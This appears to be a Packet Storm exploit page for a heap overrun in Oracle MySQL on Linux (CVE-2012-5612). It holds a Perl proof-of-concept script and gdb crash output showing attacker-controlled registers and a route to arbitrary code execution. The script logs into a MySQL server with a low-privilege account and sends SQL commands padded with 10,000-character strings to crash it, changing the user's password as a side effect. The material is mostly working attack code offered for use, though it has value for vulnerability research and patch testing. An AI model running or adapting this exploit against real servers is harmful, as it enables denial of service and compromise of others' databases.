exploit the possibilities

Oracle MySQL Heap Overrun

Oracle MySQL Heap Overrun
Posted Dec 3, 2012
Authored by Kingcope

Oracle MySQL on Linux suffers from a heap overrun vulnerability.

tags | exploit, overflow
systems | linux
advisories | CVE-2012-5612
MD5 | a493a43ee46f04d6fb625c5bcdda36d2

Oracle MySQL Heap Overrun

Change Mirror Download
# MySQL Heap Overrun
# tested for the latest version of mysql server on a SuSE Linux system
#
# As seen below $edx and $edi are fully controlled,
# the current instruction is
# => 0x83a6b24 <free_root+180>: mov (%edx),%edi
# this means we landed in a place where 4 bytes can be controlled by 4 bytes
# with this function pointers and GOT entries can be rewritten to execute arbritrary code
#
# a user account (with less privileges) is needed
# beware: this script will change the users password to an undefined value
#

=for comment
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa86b3b70 (LWP 9219)]
free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
369 old=next; next= next->next;
(gdb) bt
#0 free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
#1 0x082a2e9f in cleanup (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/sql_class.h:1709
#2 ha_rollback_trans (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/handler.cc:1401
#3 0x0824a747 in trans_rollback (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/transaction.cc:260
#4 0x081897a7 in THD::cleanup (this=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_class.cc:1271
#5 0x08140fc3 in thd_cleanup (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2026
#6 unlink_thd (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2075
#7 0x08141088 in one_thread_per_connection_end (thd=0x8e7b9b8, put_in_cache=true) at /root/mysql-5.5.19/sql/mysqld.cc:2188
#8 0x0823eab3 in do_handle_one_connection (thd_arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:796
#9 0x0823ebbc in handle_one_connection (arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:708
#10 0xb7744b05 in start_thread () from /lib/libpthread.so.0
#11 0xb750fd5e in clone () from /lib/libc.so.6
(gdb) i r
eax 0x8ec63b8 149709752
ecx 0xa86b326c -1469369748
edx 0x5a5a5a5a 1515870810
ebx 0x880eff4 142667764
esp 0xa86b31b0 0xa86b31b0
ebp 0xa86b31d8 0xa86b31d8
esi 0x8e7c714 149407508
edi 0x5a5a5a5a 1515870810
eip 0x83a6b24 0x83a6b24 <free_root+180>
eflags 0x210293 [ CF AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/10i $eip
=> 0x83a6b24 <free_root+180>: mov (%edx),%edi
0x83a6b26 <free_root+182>: je 0x83a6b33 <free_root+195>
0x83a6b28 <free_root+184>: mov %edx,(%esp)
0x83a6b2b <free_root+187>: call 0x83acb70 <my_free>
0x83a6b30 <free_root+192>: mov 0x8(%esi),%eax
0x83a6b33 <free_root+195>: test %edi,%edi
0x83a6b35 <free_root+197>: jne 0x83a6b20 <free_root+176>
0x83a6b37 <free_root+199>: test %eax,%eax
0x83a6b39 <free_root+201>: movl $0x0,(%esi)
0x83a6b3f <free_root+207>: movl $0x0,0x4(%esi)
(gdb)
=cut

use Net::MySQL;
use Encode;
$|=1;

my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => "test",
user => "user",
password => "test",
debug => 0,
port => 3306,
);

@commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t",
"CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c",
"DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')");

foreach my $command (@commands) {
for ($k=0;$k<length($command);$k++) {
$c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1);
$c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1);

print "$c2";
$mysql->query($c);
}
}
$mysql->close;


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close